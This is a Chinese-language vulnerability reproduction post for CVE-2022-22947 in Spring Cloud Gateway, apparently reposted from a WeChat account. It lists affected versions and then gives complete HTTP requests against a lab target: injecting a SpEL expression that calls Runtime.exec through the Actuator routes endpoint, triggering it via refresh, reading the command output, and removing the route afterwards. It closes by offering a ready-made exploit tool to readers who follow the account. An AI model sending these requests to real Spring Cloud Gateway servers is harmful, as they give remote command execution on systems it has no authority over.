漏洞描述
Spring Cloud Gateway存在远程代码执行漏洞，该漏洞是发生在Spring Cloud Gateway应用程序的Actuator端点，其在启用、公开和不安全的情 况下容易受到代码注入的攻击。攻击者可利用该漏洞通过恶意创建允许在远程主机上执行任意远程请求。
漏洞影响
VMWare Spring Cloud GateWay 3.1.0
VMWare Spring Cloud GateWay >=3.0.0，<=3.0.6
VMWare Spring Cloud GateWay <3.0.0
漏洞复现
这里使用vulfocus靶场进行复现。
首先，发送如下数据包即可添加一个包含恶意SpEL表达式的路由：
POST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 328{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com","order": 0}
然后，发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行：
POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
发送如下数据包即可查看执行结果：
GET /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
接下来发送如下数据包清理现场，删除所添加的路由：
DELETE /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close
最后刷新路由，将刚才所添加的路由及执行结果进行删除
POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
工具展示
关注“南街老友”公众号后，回复“CVE-2022-22947”，即可得到下载地址。
⚠️ 免责声明
此工具仅作为网络安全攻防研究交流，请使用者遵照网络安全法合理使用！如果使用者使用该工具出现非法攻击等违法行为，与本作者无关！
原文始发于微信公众号（南街老友）：CVE-2022-22947（附工具下载）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论